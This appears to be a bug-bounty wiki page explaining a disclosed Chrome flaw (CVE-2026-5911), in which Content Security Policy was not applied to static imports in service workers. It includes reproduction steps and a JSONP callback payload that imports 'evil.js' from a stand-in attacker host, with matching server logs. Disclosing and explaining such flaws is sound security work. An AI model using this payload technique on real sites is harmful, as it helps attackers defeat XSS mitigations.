Policy bypass in ServiceWorkers (CVE-2026-5911)
Chrome did not enforce Content Security Policy for static import declarations inside service workers, so a service worker could load module scripts from origins not allowed by the worker-src directive. An attacker who already had XSS could use this to import an external script and bypass CSP mitigations.
- Fix shipped in 48 days
VULNERABILITY DETAILS
Summary
Content Security Policy (CSP) is not properly enforced for service workers. Specifically, a service worker can execute static import declarations to load module scripts from sources that are not specified in the worker-src directive or its fallback directives.
Attack Preconditions
- The attacker already has the ability to execute JavaScript on the target website via XSS.
- The attacker can load a service worker from an endpoint allowed by the
worker-srcdirective (or its fallback directives), and the response of that endpoint can be fully or partially controlled by the attacker (e.g., a JSONP endpoint).
Impact Analysis
If CSP were properly enforced for service workers, an attacker with XSS capabilities would be restricted from importing an external module within a Service Worker unless the attacker-controlled source was allowed by the worker-src directive or its fallbacks.
However, because CSP is not enforced for service workers during static import, an attacker can bypass CSP restrictions, allowing the service worker to import modules from arbitrary sources. This makes XSS mitigations less effective. For example, an attacker might be unable to execute certain payloads due to input validation or a WAF, but bypassing CSP with this bug to import an external script might help them circumvent these restrictions. (I have demonstrated this impact in the provided reproduction case by using a JSONP endpoint that implements input validation.)
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7692.0 canary.
REPRODUCTION CASE
-
Create a directory structure like this with the attached files:
. ├── evil.js ├── index.html └── server.py -
Create a virtual environment and install the required packages to run the server:
Bash python3 -m venv .venv source ./.venv/bin/activate python3 -m pip install 'uvicorn[standard]==0.41.0' fastapi==0.129.0 -
Update the
/etc/hostsfile to makecross-origin.testresolve to127.0.0.1. -
Run the
server.pyscript:Bash python3 server.pyThe server has the following endpoints (Note: you can check the comments and code in the provided attachments for more details):
/: Servesindex.htmlwithdefault-src 'none'; script-src 'self' 'unsafe-inline';CSP header./api: A JSONP endpoint withdefault-src 'none';CSP header./evil.js: Serves a maliciousevil.jsscript, simulating a cross-origin server controlled by an attacker.
-
Visit
http://localhost:1337/with Chrome. -
The page will attempt to register a service worker via the JSONP endpoint.
-
The service worker will attempt a static import to load
//cross-origin.test:1337/evil.js. -
Even though the CSP of
/endpoint is set todefault-src 'none'; script-src 'self' 'unsafe-inline';, you will see that the service worker still successfully imports the script fromhttp://cross-origin.test:1337/evil.js. -
After reloading the page, you will see that the response for the
/endpoint has been overwritten byevil.js, rendering an HTML page without any CSP restrictions.
If successfully reproduced, the expected log of the server should look like this:
$ python3 server.py
INFO: Started server process [89241]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:1337 (Press CTRL+C to quit)
INFO: 127.0.0.1:59315 - "GET / HTTP/1.1" 200 OK
INFO: Valid callback: import'//cross-origin.test:1337/evil.js';//
INFO: 127.0.0.1:59317 - "GET /api?callback=import%27//cross-origin.test:1337/evil.js%27;// HTTP/1.1" 200 OK
INFO: Host: cross-origin.test:1337
INFO: 127.0.0.1:59318 - "GET /evil.js HTTP/1.1" 200 OK
INFO: 127.0.0.1:59315 - "PUT /pwned HTTP/1.1" 404 Not Found
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the service worker script loader did not check the worker-src directive (or its fallbacks) when resolving static import declarations.
Impact
An attacker with existing XSS could bypass CSP to import an external script, making XSS mitigations less effective, though the attacker still needs a service worker endpoint they can control.
What the attacker needed
Existing XSS on the target site; a worker-src-allowed endpoint the attacker controls; Chrome browser
How it was found
- Set up a local server with a page, a JSONP endpoint and an attacker-controlled script.
- Make a test hostname resolve to the local machine.
- Visit the page, which registers a service worker through the JSONP endpoint.
- The service worker statically imports the attacker script from the other origin.
- The import succeeds despite the page's restrictive CSP, and after reload the attacker script controls the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A Content Security Policy is a browser rule that says which scripts a page may load, to limit damage if an attacker injects code. Service workers are background scripts a site registers to handle network requests. The report says Chrome forgot to apply the script-loading rule to imports made inside a service worker, so an attacker who already injected some JavaScript could pull in an outside script that the policy should have blocked.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.